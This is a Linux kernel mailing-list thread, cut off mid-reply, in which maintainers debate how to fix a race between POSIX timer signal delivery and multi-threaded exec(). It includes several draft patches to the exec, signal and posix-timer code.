>  		cgroup_threadgroup_change_end(tsk);
>  
> +		scoped_guard(spinlock_irq, lock)
> +			flush_sigqueue(&leader->pending);
> +

Is there something to prevent the timer from firing on another CPU,
racing with this tiny window and queue the signal to the old leader? After
all exchange_tids() is just some RCU pointers changed but there is nothing
to synchronize the readers before the flush_sigqueue(). So pid_task() may
still return the old leader after it?


>  		release_task(leader);

Thanks.

-- 
Frederic Weisbecker
SUSE Labs

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Oleg Nesterov]

On 08/24, Frederic Weisbecker wrote:
>
> Le Mon, Aug 24, 2026 at 01:54:26PM +0200, Oleg Nesterov a écrit :
> >
> > diff --git a/fs/exec.c b/fs/exec.c
> > index a14f28b15607..550367e7fe6c 100644
> > --- a/fs/exec.c
> > +++ b/fs/exec.c
> > @@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk)
> >  		write_unlock_irq(&tasklist_lock);
> >  		cgroup_threadgroup_change_end(tsk);
> >
> > +		scoped_guard(spinlock_irq, lock)
> > +			flush_sigqueue(&leader->pending);
> > +
>
> Is there something to prevent the timer from firing on another CPU,
> racing with this tiny window and queue the signal to the old leader? After
> all exchange_tids() is just some RCU pointers changed but there is nothing
> to synchronize the readers before the flush_sigqueue(). So pid_task() may
> still return the old leader after it?

Ah yes...

posixtimer_get_target() is obviously called before lock_task_sighand(),
so it can be called even before exchange_tids()...

Thanks!

Oleg.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Frederic Weisbecker]

Le Mon, Aug 24, 2026 at 11:45:10AM +0200, Thomas Gleixner a écrit :
> On Mon, Aug 24 2026 at 10:04, Thomas Gleixner wrote:
> 
> > On Sat, Aug 22 2026 at 14:37, Hyunwoo Kim wrote:
> >> diff --git a/kernel/signal.c b/kernel/signal.c
> >> index bbc0fd4cc4d7c1..ec9a0a0490d19f 100644
> >> --- a/kernel/signal.c
> >> +++ b/kernel/signal.c
> >> @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue)
> >>  	sigemptyset(&queue->signal);
> >>  	while (!list_empty(&queue->list)) {
> >>  		q = list_entry(queue->list.next, struct sigqueue , list);
> >> -		list_del_init(&q->list);
> >> +		/*
> >> +		 * Pairs with the list_empty() in posixtimer_send_sigqueue().
> >
> > No. That list_empty() would need to be changed to list_empty_careful()
> > to be correct on weakly ordered architectures.
> >
> > Aside of that I'm not convinced that this is the right way to handle
> > this as it cures the symptom and not the underlying problem. Let me
> > stare at this some more.
> 
> Something like the untested below.
> 
> Thanks,
> 
>         tglx
> ---
> --- a/fs/exec.c
> +++ b/fs/exec.c
> @@ -983,6 +983,18 @@ static int de_thread(struct task_struct
>  		}
>  
>  		/*
> +		 * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for
> +		 * the former leader are removed under sighand::siglock _before_
> +		 * taking over the leader's TID. Otherwise the lockless cleanup
> +		 * in release_task() can race against a concurrent signal
> +		 * delivery to the new leader. The former leader has PF_EXITING
> +		 * set which prevents queueing of SIGEV_THREAD_ID signals up to
> +		 * the point where it's sighand gets cleared.
> +		 */
> +		scoped_guard(spinlock_irq, lock)
> +			flush_sigqueue(&leader->pending);
> +
> +		/*
>  		 * The only record we have of the real-time age of a
>  		 * process, regardless of execs it's done, is start_time.
>  		 * All the past CPU time is accumulated in signal_struct
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -1998,6 +1998,13 @@ void posixtimer_send_sigqueue(struct k_i
>  		return;
>  
>  	/*
> +	 * If the signal is targeted at a specific thread, validate with sighand
> +	 * lock held that the thread is not exiting.
> +	 */
> +	if (unlikely(tmr->it_pid_type == PIDTYPE_PID  && t->flags & PF_EXITING))
> +		goto unlock;
> +
> +	/*
>  	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
>  	 * locked to prevent a race against dequeue_signal().
>  	 */
> @@ -2088,6 +2095,7 @@ void posixtimer_send_sigqueue(struct k_i
>  	result = TRACE_SIGNAL_DELIVERED;
>  out:
>  	trace_signal_generate(sig, &q->info, t, tmr->it_pid_type != PIDTYPE_PID, result);
> +unlock:
>  	unlock_task_sighand(t, &flags);
>  }
>

This one looks good, FWIW.

Thanks.

-- 
Frederic Weisbecker
SUSE Labs

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Mon, Aug 24 2026 at 15:59, Frederic Weisbecker wrote:
> Le Mon, Aug 24, 2026 at 01:54:26PM +0200, Oleg Nesterov a écrit :
>> > Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's
>> > (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any
>> > changes, no?
>> 
>> IOW. Unless I am totally confused, we only need to flush the
>> SIGQUEUE_PREALLOC sigqueue's which were sent to the (old) leader
>> before it changed its pid. So we can do this
>> 
>> diff --git a/fs/exec.c b/fs/exec.c
>> index a14f28b15607..550367e7fe6c 100644
>> --- a/fs/exec.c
>> +++ b/fs/exec.c
>> @@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk)
>>  		write_unlock_irq(&tasklist_lock);
>>  		cgroup_threadgroup_change_end(tsk);
>>  
>> +		scoped_guard(spinlock_irq, lock)
>> +			flush_sigqueue(&leader->pending);
>> +
>
> Is there something to prevent the timer from firing on another CPU,
> racing with this tiny window and queue the signal to the old leader? After
> all exchange_tids() is just some RCU pointers changed but there is nothing
> to synchronize the readers before the flush_sigqueue(). So pid_task() may
> still return the old leader after it?

You beat me to it.

That's what I initialy thought when I added that exiting check into
posixtimer_send_queue(), but then the trivial variant lured me away. :)

Let me go and polish up that initial variant and write a change log.

Thanks,

        tglx

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Oleg Nesterov]

On 08/25, Thomas Gleixner wrote:
>
> On Mon, Aug 24 2026 at 15:59, Frederic Weisbecker wrote:
> > Le Mon, Aug 24, 2026 at 01:54:26PM +0200, Oleg Nesterov a écrit :
> >> > Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's
> >> > (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any
> >> > changes, no?
> >>
> >> IOW. Unless I am totally confused, we only need to flush the
> >> SIGQUEUE_PREALLOC sigqueue's which were sent to the (old) leader
> >> before it changed its pid. So we can do this
> >>
> >> diff --git a/fs/exec.c b/fs/exec.c
> >> index a14f28b15607..550367e7fe6c 100644
> >> --- a/fs/exec.c
> >> +++ b/fs/exec.c
> >> @@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk)
> >>  		write_unlock_irq(&tasklist_lock);
> >>  		cgroup_threadgroup_change_end(tsk);
> >>
> >> +		scoped_guard(spinlock_irq, lock)
> >> +			flush_sigqueue(&leader->pending);
> >> +
> >
> > Is there something to prevent the timer from firing on another CPU,
> > racing with this tiny window and queue the signal to the old leader? After
> > all exchange_tids() is just some RCU pointers changed but there is nothing
> > to synchronize the readers before the flush_sigqueue(). So pid_task() may
> > still return the old leader after it?
>
> You beat me to it.
>
> That's what I initialy thought when I added that exiting check into
> posixtimer_send_queue(), but then the trivial variant lured me away. :)

I'm afraid I am wrong again... but if change posixtimer_send_sigqueue()
to check !PF_EXITING, de_thread() still can do flush_sigqueue() after
exchange_tids() outside of tasklist_lock?

And I'd suggest to check t->exit_state instead of PF_EXITING,
posixtimer_send_sigqueue() can't miss it if it is called after
scoped_guard(spinlock_irq, lock).

Oleg.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Tue, Aug 25 2026 at 20:53, Oleg Nesterov wrote:
> On 08/25, Thomas Gleixner wrote:
>> > Is there something to prevent the timer from firing on another CPU,
>> > racing with this tiny window and queue the signal to the old leader? After
>> > all exchange_tids() is just some RCU pointers changed but there is nothing
>> > to synchronize the readers before the flush_sigqueue(). So pid_task() may
>> > still return the old leader after it?
>>
>> You beat me to it.
>>
>> That's what I initialy thought when I added that exiting check into
>> posixtimer_send_queue(), but then the trivial variant lured me away. :)
>
> I'm afraid I am wrong again... but if change posixtimer_send_sigqueue()
> to check !PF_EXITING, de_thread() still can do flush_sigqueue() after
> exchange_tids() outside of tasklist_lock?
>
> And I'd suggest to check t->exit_state instead of PF_EXITING,
> posixtimer_send_sigqueue() can't miss it if it is called after
> scoped_guard(spinlock_irq, lock).

It neither can miss PF_EXITING which is also set under sighand lock.

But I think we all looked at it way too narrowly focussed on that
specific non-leader exec() scenario. Let's take a step back and look at
the larger picture.

Once begin_new_exec() sets bprm->point_of_no_return = true there is
_ZERO_ reason to queue any posix timer signal anymore. Any failure after
that point will be fatal and shut the whole process down.

So why worrying about the non-leader exec() oddity?

begin_new_exex()
{
        ...

	bprm->point_of_no_return = true;

	scoped_guard(spinlock_irq, &me->sighand->siglock)
		me->signal->flags |= SIGNAL_EXEC;

        de_thread(me)
        ...

        // FIXME: This sequence should be cleaned up with a
        //        posix_timer_exec() function with a proper stub
	//        for CONFIG_POSIX_TIMERS=n.
        
#ifdef CONFIG_POSIX_TIMERS
	spin_lock_irq(&me->sighand->siglock);
	posix_cpu_timers_exit(me);
	spin_unlock_irq(&me->sighand->siglock);
	exit_itimers(me);
	flush_itimer_signals();
#endif
        ...
	scoped_guard(spinlock_irq, &me->sighand->siglock)
		me->signal->flags &= ~SIGNAL_EXEC;
        // SUCCESS
        return 0;

and in posixtimer_send_sigqueue()

	if (!likely(lock_task_sighand(t, &flags)))
		return;

	if (unlikely(t->signal->flags & (SIGNAL_EXEC)))
		goto unlock;

and as we need that check anyway we can just make it:

	if (unlikely(t->signal->flags & (SIGNAL_EXEC | SIGNAL_GROUP_EXIT)))
		goto unlock;

because there is no point either to queue posix timer signals when
SIGNAL_GROUP_EXIT is set, right?

Something like the untested below. At least I'm sure that I got the
scoped_guard() types right this time.

FWIW, I briefly pondered to hide the first part in de_thread(), but
that just made my tired brain fail to reason about it.

Thanks,

        tglx
---
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -1148,6 +1148,9 @@ int begin_new_exec(struct linux_binprm *
 	 */
 	bprm->point_of_no_return = true;
 
+	scoped_guard(spinlock_irq, &me->sighand->siglock)
+		me->signal->flags |= SIGNAL_EXEC;
+
 	/* Make this the only thread in the thread group */
 	retval = de_thread(me);
 	if (retval)
@@ -1324,6 +1327,10 @@ int begin_new_exec(struct linux_binprm *
 		}
 		bprm->execfd = retval;
 	}
+
+	scoped_guard(spinlock_irq, &me->sighand->siglock)
+		me->signal->flags &= ~SIGNAL_EXEC;
+
 	return 0;
 
 out_unlock:
--- a/include/linux/sched/signal.h
+++ b/include/linux/sched/signal.h
@@ -261,6 +261,8 @@ struct signal_struct {
 #define SIGNAL_STOP_STOPPED	0x00000001 /* job control stop in effect */
 #define SIGNAL_STOP_CONTINUED	0x00000002 /* SIGCONT since WCONTINUED reap */
 #define SIGNAL_GROUP_EXIT	0x00000004 /* group exit in progress */
+#define SIGNAL_EXEC		0x00000008 /* exec in progress */
+
 /*
  * Pending notifications to parent.
  */
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -1991,6 +1991,20 @@ void posixtimer_send_sigqueue(struct k_i
 		return;
 
 	/*
+	 * If the process is in the middle of exec(), don't queue signals as the
+	 * posix timers of this process are not longer accessible and about to
+	 * be removed. This prevents a race between queueing the signal on a
+	 * exiting former thread group leader in case of an non-leader exec.
+	 * Aside of that it makes no sense to queue anything now when it has to
+	 * be flushed a split second later anyway.
+	 *
+	 * As this conditional is required just use the opportunity and check
+	 * for a group exit too, where queueing signals is equally pointless.
+	 */
+	if (unlikely(t->signal->flags & (SIGNAL_EXEC | SIGNAL_GROUP_EXIT)))
+		goto unlock;
+
+	/*
 	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
 	 * locked to prevent a race against dequeue_signal().
 	 */
@@ -2081,6 +2095,7 @@ void posixtimer_send_sigqueue(struct k_i
 	result = TRACE_SIGNAL_DELIVERED;
 out:
 	trace_signal_generate(sig, &q->info, t, tmr->it_pid_type != PIDTYPE_PID, result);
+unlock:
 	unlock_task_sighand(t, &flags);
 }
 

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Oleg Nesterov]

On 08/25, Thomas Gleixner wrote:
>
> On Tue, Aug 25 2026 at 20:53, Oleg Nesterov wrote:
> >
> > And I'd suggest to check t->exit_state instead of PF_EXITING,
> > posixtimer_send_sigqueue() can't miss it if it is called after
> > scoped_guard(spinlock_irq, lock).
>
> It neither can miss PF_EXITING which is also set under sighand lock.

Yes, I didn't mean that the PF_EXITING check is wrong... nevermind.

> Once begin_new_exec() sets bprm->point_of_no_return = true there is
> _ZERO_ reason to queue any posix timer signal anymore. Any failure after
> that point will be fatal and shut the whole process down.
>
> begin_new_exex()
> {
>         ...
>
> 	bprm->point_of_no_return = true;
>
> 	scoped_guard(spinlock_irq, &me->sighand->siglock)
> 		me->signal->flags |= SIGNAL_EXEC;

We already have me->signal->group_exec_task.

In mt-exec case it is always set under ->siglock, and cleared after
the last thread passes __exit_signal() which takes the same lock.

>         de_thread(me)
>         ...
>
>         // FIXME: This sequence should be cleaned up with a
>         //        posix_timer_exec() function with a proper stub
> 	//        for CONFIG_POSIX_TIMERS=n.
>
> #ifdef CONFIG_POSIX_TIMERS
> 	spin_lock_irq(&me->sighand->siglock);
> 	posix_cpu_timers_exit(me);
> 	spin_unlock_irq(&me->sighand->siglock);
> 	exit_itimers(me);
> 	flush_itimer_signals();
> #endif

OK... unfortunately we can't do this CONFIG_POSIX_TIMERS sequence before
de_thread()... Another not-yet-exited sub-thread can create a timer
with it_pid = current->pid. Right?

> and in posixtimer_send_sigqueue()
>
> 	if (!likely(lock_task_sighand(t, &flags)))
> 		return;
>
> 	if (unlikely(t->signal->flags & (SIGNAL_EXEC)))
> 		goto unlock;

See above, I think it can check t->signal->group_exec_task. Perhaps along
with SIGNAL_GROUP_EXIT.

So. With this change release_task()->flush_sigqueue(&old_leader->pending)
can still race with posixtimer_send_sigqueue(), but it will do nothing.

But it also does "nothing" if tmr->sigq is already pending (!list_empty)
so I am starting to think about the change below again...

Oleg.

diff --git a/kernel/signal.c b/kernel/signal.c
index bbc0fd4cc4d7..4d12ebba33f9 100644
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -477,14 +477,14 @@ static void __sigqueue_free(struct sigqueue *q)
 
 void flush_sigqueue(struct sigpending *queue)
 {
-	struct sigqueue *q;
+	struct sigqueue *q, *n;
 
 	sigemptyset(&queue->signal);
-	while (!list_empty(&queue->list)) {
-		q = list_entry(queue->list.next, struct sigqueue , list);
-		list_del_init(&q->list);
+
+	list_for_each_entry_safe(q, n, &queue->list, list)
 		__sigqueue_free(q);
-	}
+
+	INIT_LIST_HEAD(&queue->list);
 }
 
 /*

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Wed, Aug 26 2026 at 11:36, Oleg Nesterov wrote:
> On 08/25, Thomas Gleixner wrote:
>>
>> On Tue, Aug 25 2026 at 20:53, Oleg Nesterov wrote:
>> >
>> > And I'd suggest to check t->exit_state instead of PF_EXITING,
>> > posixtimer_send_sigqueue() can't miss it if it is called after
>> > scoped_guard(spinlock_irq, lock).
>>
>> It neither can miss PF_EXITING which is also set under sighand lock.
>
> Yes, I didn't mean that the PF_EXITING check is wrong... nevermind.
>
>> Once begin_new_exec() sets bprm->point_of_no_return = true there is
>> _ZERO_ reason to queue any posix timer signal anymore. Any failure after
>> that point will be fatal and shut the whole process down.
>>
>> begin_new_exex()
>> {
>>         ...
>>
>> 	bprm->point_of_no_return = true;
>>
>> 	scoped_guard(spinlock_irq, &me->sighand->siglock)
>> 		me->signal->flags |= SIGNAL_EXEC;
>
> We already have me->signal->group_exec_task.

I know.

> In mt-exec case it is always set under ->siglock, and cleared after
> the last thread passes __exit_signal() which takes the same lock.

That should work too.

My preference was to keep posix timer signal queueing completely
disabled until the posix timer cleanup has been done independent of the
multi-threaded exec(). The group exec check was just added because it's
the same single conditional in posixtimer_send_sigqueue().

>>         de_thread(me)
>>         ...
>>
>>         // FIXME: This sequence should be cleaned up with a
>>         //        posix_timer_exec() function with a proper stub
>> 	//        for CONFIG_POSIX_TIMERS=n.
>>
>> #ifdef CONFIG_POSIX_TIMERS
>> 	spin_lock_irq(&me->sighand->siglock);
>> 	posix_cpu_timers_exit(me);
>> 	spin_unlock_irq(&me->sighand->siglock);
>> 	exit_itimers(me);
>> 	flush_itimer_signals();
>> #endif
>
> OK... unfortunately we can't do this CONFIG_POSIX_TIMERS sequence before
> de_thread()... Another not-yet-exited sub-thread can create a timer
> with it_pid = current->pid. Right?

Yes. 

>> and in posixtimer_send_sigqueue()
>>
>> 	if (!likely(lock_task_sighand(t, &flags)))
>> 		return;
>>
>> 	if (unlikely(t->signal->flags & (SIGNAL_EXEC)))
>> 		goto unlock;
>
> See above, I think it can check t->signal->group_exec_task. Perhaps along
> with SIGNAL_GROUP_EXIT.
>
> So. With this change release_task()->flush_sigqueue(&old_leader->pending)
> can still race with posixtimer_send_sigqueue(), but it will do nothing.
>
> But it also does "nothing" if tmr->sigq is already pending (!list_empty)
> so I am starting to think about the change below again...

Sure, but that's an orthogonal optimization once we fixed the exec()
mess :)

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Oleg Nesterov]

Thomas,

I am already sleeping, but let me ask anyway

On 08/26, Thomas Gleixner wrote:
>
> On Wed, Aug 26 2026 at 11:36, Oleg Nesterov wrote:
> >
> > So. With this change release_task()->flush_sigqueue(&old_leader->pending)
> > can still race with posixtimer_send_sigqueue(), but it will do nothing.
> >
> > But it also does "nothing" if tmr->sigq is already pending (!list_empty)
> > so I am starting to think about the change below again...
>
> Sure, but that's an orthogonal optimization once we fixed the exec()
> mess :)

I am almost sure I missed something again. But I thought that this "optimization"
can also fix the exec() mess we discuss in this thread?

No?

Oleg.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Eric W. Biederman]

Oleg Nesterov <oleg@redhat.com> writes:

> Thomas,
>
> I am already sleeping, but let me ask anyway
>
> On 08/26, Thomas Gleixner wrote:
>>
>> On Wed, Aug 26 2026 at 11:36, Oleg Nesterov wrote:
>> >
>> > So. With this change release_task()->flush_sigqueue(&old_leader->pending)
>> > can still race with posixtimer_send_sigqueue(), but it will do nothing.
>> >
>> > But it also does "nothing" if tmr->sigq is already pending (!list_empty)
>> > so I am starting to think about the change below again...
>>
>> Sure, but that's an orthogonal optimization once we fixed the exec()
>> mess :)
>
> I am almost sure I missed something again. But I thought that this "optimization"
> can also fix the exec() mess we discuss in this thread?
>
> No?

I haven't been through all of this in detail lately but I have a thought
about cleaning up the exec "mess".

Could the posix timers cleanup be moved from __exit_signal in
release_task (which is really for cleanup for zombies but has
been historically abused because it was the only place that
knew when the whole group was dead), into somewhere in do_exit?

Say near where hrtimers_cancel and exit_itimers are called.

Then perhaps move the posix timer disabling before de_thread?

I think that would allow ignoring the whole exchange_tids
aspect of things because the timers would simply not be running.

I think that would make a good general cleanup as well as avoiding
the craziness of moving thread ids.

I think.

Am I missing something that keeps that from working?

Is that change simply too much to contemplate to sort out this
situation?

Eric

p.s.  I wish years ago I had the energy to get glibc to stop assuming on
a newly started process that thread-id == process_id.  Then this
exchanging of id's on tasks could have been completely removed from the
kernel.  Oh well.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Wed, Aug 26 2026 at 22:29, Eric W. Biederman wrote:
> Could the posix timers cleanup be moved from __exit_signal in
> release_task (which is really for cleanup for zombies but has
> been historically abused because it was the only place that
> knew when the whole group was dead), into somewhere in do_exit?
>
> Say near where hrtimers_cancel and exit_itimers are called.

That's only for the group_dead case in do_exit().

But a single task existing from a process needs to clean up
task::pending, i.e. signals which are targeted at the exiting task.

The safe and obvious place is to do that is _after_ setting
task::sighand to NULL because that ensures that no new signal can be
queued and nothing can touch task::pending anymore.

> Then perhaps move the posix timer disabling before de_thread?

That does not work because between that and de_thread() any thread of
the thread group can create a new posix timer unless we prevent that
somehow in timer_create().

So in any case we need some mechanism in posixtimer related code to
handle this situation gracefully.

Thanks,

        tglx

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Wed, Aug 26 2026 at 21:32, Oleg Nesterov wrote:
> On 08/26, Thomas Gleixner wrote:
>>
>> On Wed, Aug 26 2026 at 11:36, Oleg Nesterov wrote:
>> >
>> > So. With this change release_task()->flush_sigqueue(&old_leader->pending)
>> > can still race with posixtimer_send_sigqueue(), but it will do nothing.
>> >
>> > But it also does "nothing" if tmr->sigq is already pending (!list_empty)
>> > so I am starting to think about the change below again...
>>
>> Sure, but that's an orthogonal optimization once we fixed the exec()
>> mess :)
>
> I am almost sure I missed something again. But I thought that this "optimization"
> can also fix the exec() mess we discuss in this thread?

It does not because the sigqueue stays linked in old_leader::pending and
any concurrent or later access to it from an expiry (see Hyunwoo's
explanation) will access freed memory: either old_leader::pending or
other unrelated sigqueue entries which have been freed.

I really don't understand why you are so obsessed about "fixing" it with
a dirty hack instead of just making it comprehensible, safe and future
proof in the first place.

I'm actually tempted to move the posix timer cleanup _before_
de_thread() and just make sure that no new timers can be created anymore.

Thanks,

        tglx

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Thu, Aug 27 2026 at 14:24, Thomas Gleixner wrote:
> I'm actually tempted to move the posix timer cleanup _before_
> de_thread() and just make sure that no new timers can be created anymore.

Something like that:

--- a/fs/exec.c
+++ b/fs/exec.c
@@ -1148,6 +1148,16 @@ int begin_new_exec(struct linux_binprm *
 	 */
 	bprm->point_of_no_return = true;
 
+	/*
+	 * This sets SIGNAL_EXEC in current::signal::flags, which prevents new
+	 * POSIX timers from being created and further POSIX timer signals from
+	 * being queued. It also deletes all existing POSIX timers and flushs
+	 * the corresponding signals from current's and the shared pending list.
+	 */
+	retval = signal_exec_start();
+	if (retval)
+		goto out;
+
 	/* Make this the only thread in the thread group */
 	retval = de_thread(me);
 	if (retval)
@@ -1192,14 +1202,6 @@ int begin_new_exec(struct linux_binprm *
 	if (retval)
 		goto out_unlock;
 
-#ifdef CONFIG_POSIX_TIMERS
-	spin_lock_irq(&me->sighand->siglock);
-	posix_cpu_timers_exit(me);
-	spin_unlock_irq(&me->sighand->siglock);
-	exit_itimers(me);
-	flush_itimer_signals();
-#endif
-
 	/*
 	 * Make the signal table private.
 	 */
@@ -1324,6 +1326,8 @@ int begin_new_exec(struct linux_binprm *
 		}
 		bprm->execfd = retval;
 	}
+
+	signal_exec_done();
 	return 0;
 
 out_unlock:
--- a/include/linux/posix-timers.h
+++ b/include/linux/posix-timers.h
@@ -119,6 +119,7 @@ bool posixtimer_init_sigqueue(struct sig
 void posixtimer_send_sigqueue(struct k_itimer *tmr);
 bool posixtimer_deliver_signal(struct kernel_siginfo *info, struct sigqueue *timer_sigq);
 void posixtimer_free_timer(struct k_itimer *timer);
+void posixtimer_flush_exec(void);
 long posixtimer_create_prctl(unsigned long ctrl);
 
 /* Init task static initializer */
@@ -146,6 +147,7 @@ static inline void posixtimer_rearm_itim
 static inline bool posixtimer_deliver_signal(struct kernel_siginfo *info,
 					     struct sigqueue *timer_sigq) { return false; }
 static inline void posixtimer_free_timer(struct k_itimer *timer) { }
+static inline void posixtimer_flush_exec(void) { }
 static inline long posixtimer_create_prctl(unsigned long ctrl) { return -EINVAL; }
 #endif
 
--- a/include/linux/sched/signal.h
+++ b/include/linux/sched/signal.h
@@ -261,6 +261,8 @@ struct signal_struct {
 #define SIGNAL_STOP_STOPPED	0x00000001 /* job control stop in effect */
 #define SIGNAL_STOP_CONTINUED	0x00000002 /* SIGCONT since WCONTINUED reap */
 #define SIGNAL_GROUP_EXIT	0x00000004 /* group exit in progress */
+#define SIGNAL_EXEC		0x00000008 /* exec in progress */
+
 /*
  * Pending notifications to parent.
  */
@@ -285,6 +287,24 @@ extern void ignore_signals(struct task_s
 extern void flush_signal_handlers(struct task_struct *, int force_default);
 extern int dequeue_signal(sigset_t *mask, kernel_siginfo_t *info, enum pid_type *type);
 
+static inline int signal_exec_start(void)
+{
+	scoped_guard(spinlock_irq, &current->sighand->siglock) {
+		/* Is a group action in progress already? */
+		if (current->signal->flags & (SIGNAL_GROUP_EXIT | SIGNAL_EXEC))
+			return -EAGAIN;
+		current->signal->flags |= SIGNAL_EXEC;
+	}
+	posixtimer_flush_exec();
+	return 0;
+}
+
+static inline void signal_exec_done(void)
+{
+	guard(spinlock_irq)(&current->sighand->siglock);
+	current->signal->flags &= SIGNAL_EXEC;
+}
+
 static inline int kernel_dequeue_signal(void)
 {
 	struct task_struct *task = current;
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -1991,6 +1991,23 @@ void posixtimer_send_sigqueue(struct k_i
 		return;
 
 	/*
+	 * If the process is in the middle of exec(), don't queue signals as the
+	 * posix timers of this process are not longer accessible and about to
+	 * be removed. This prevents a race between queueing the signal on a
+	 * exiting former thread group leader in case of a non-leader exec().
+	 * Aside of that it makes no sense to queue anything now when it has to
+	 * be flushed a split second later anyway.
+	 *
+	 * As this conditional is required just use the opportunity and check
+	 * for a group exit too, where queueing signals is equally pointless.
+	 *
+	 * If the signal is already pending or on the ignore list, then nothing
+	 * changes and the final posix timer and signal cleanup will handle them.
+	 */
+	if (unlikely(t->signal->flags & (SIGNAL_GROUP_EXIT | SIGNAL_EXEC)))
+		goto unlock;
+
+	/*
 	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
 	 * locked to prevent a race against dequeue_signal().
 	 */
@@ -2081,6 +2098,7 @@ void posixtimer_send_sigqueue(struct k_i
 	result = TRACE_SIGNAL_DELIVERED;
 out:
 	trace_signal_generate(sig, &q->info, t, tmr->it_pid_type != PIDTYPE_PID, result);
+unlock:
 	unlock_task_sighand(t, &flags);
 }
 
--- a/kernel/time/posix-timers.c
+++ b/kernel/time/posix-timers.c
@@ -462,6 +462,24 @@ static int common_timer_create(struct k_
 	return 0;
 }
 
+static bool timer_set_valid(struct k_itimer *new_timer)
+{
+	guard(spinlock)(&current->sighand->siglock);
+
+	/* If there is a group action in progress, fail */
+	if (current->signal->flags & (SIGNAL_GROUP_EXIT | SIGNAL_EXEC))
+		return false;
+
+	/*
+	 * new_timer::it_signal contains the signal pointer with
+	 * bit 0 set, which makes it invalid for syscall operations.
+	 * Store the unmodified signal pointer to make it valid.
+	 */
+	WRITE_ONCE(new_timer->it_signal, current->signal);
+	hlist_add_head_rcu(&new_timer->list, &current->signal->posix_timers);
+	return true;
+}
+
 /* Create a POSIX.1b interval timer. */
 static int do_timer_create(clockid_t which_clock, struct sigevent *event,
 			   timer_t __user *created_timer_id)
@@ -552,20 +570,33 @@ static int do_timer_create(clockid_t whi
 	 * sighand::siglock is required to protect signal::posix_timers.
 	 */
 	scoped_guard (spinlock_irq, &new_timer->it_lock) {
-		guard(spinlock)(&current->sighand->siglock);
+		if (timer_set_valid(new_timer)) {
+			/*
+			 * After unlocking @new_timer is subject to concurrent removal and
+			 * cannot be touched anymore
+			 */
+			return 0;
+		}
+
 		/*
-		 * new_timer::it_signal contains the signal pointer with
-		 * bit 0 set, which makes it invalid for syscall operations.
-		 * Store the unmodified signal pointer to make it valid.
+		 * A group exit or exec() is in progress. The timer has not been
+		 * marked valid for syscall operations, so it can't be armed or
+		 * firing and the sigqueue is guaranteed to be not queued
+		 * anywhere.
+		 *
+		 * This still needs to invoke kc::timer_del() so that the
+		 * underlying clock implementation can do their cleanups if
+		 * required. E.g. POSIX CPU timers need to put the reference on
+		 * timer::it::cpu::pid.
+		 *
+		 * As the timer cannot be firing kc::timer_del() cannot fail
+		 * with TIMER_RETRY.
 		 */
-		WRITE_ONCE(new_timer->it_signal, current->signal);
-		hlist_add_head_rcu(&new_timer->list, &current->signal->posix_timers);
+		WARN_ON_ONCE(kc->timer_del(new_timer));
+		/* Fall through and unhash the timer */
+		error = -ESRCH;
 	}
-	/*
-	 * After unlocking @new_timer is subject to concurrent removal and
-	 * cannot be touched anymore
-	 */
-	return 0;
+
 out:
 	posix_timer_unhash_and_free(new_timer);
 	return error;
@@ -1120,6 +1151,25 @@ void exit_itimers(struct task_struct *ts
 	}
 }
 
+/* Invoked by the task which runs exec() via signal_exec_start() */
+void posixtimer_flush_exec(void)
+{
+	/*
+	 * Contrary to do_exit() don't invoke posix_cpu_timers_exit(). The
+	 * timers are all mopped up in exit_itimers() right away and the
+	 * SIGNAL_EXEC flag ensures that no new ones can be created.
+	 */
+	exit_itimers(current);
+
+	/*
+	 * Now that all timers are gone flush queued POSIX timer signals in
+	 * current::pending and current::signal::shared_pending. If this is a
+	 * multi-threaded exec() then the other tasks will flush their
+	 * task::pending signals in release_task().
+	 */
+	flush_itimer_signals();
+}
+
 SYSCALL_DEFINE2(clock_settime, const clockid_t, which_clock,
 		const struct __kernel_timespec __user *, tp)
 {

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Eric W. Biederman]

Thomas Gleixner <tglx@kernel.org> writes:

> On Wed, Aug 26 2026 at 22:29, Eric W. Biederman wrote:
>> Could the posix timers cleanup be moved from __exit_signal in
>> release_task (which is really for cleanup for zombies but has
>> been historically abused because it was the only place that
>> knew when the whole group was dead), into somewhere in do_exit?
>>
>> Say near where hrtimers_cancel and exit_itimers are called.
>
> That's only for the group_dead case in do_exit().
>
> But a single task existing from a process needs to clean up
> task::pending, i.e. signals which are targeted at the exiting task.
>
> The safe and obvious place is to do that is _after_ setting
> task::sighand to NULL because that ensures that no new signal can be
> queued and nothing can touch task::pending anymore.

Not really.  Using release_task (which is what is called when a zombie
is reaped) for anything except cleaning up state that a zombie needs is
a bit of a misfeature.  Timers should not be active in a zombie.
Signals also should be deactivated long before then.


The obvious place to clean up task::pending i.e. signals is in
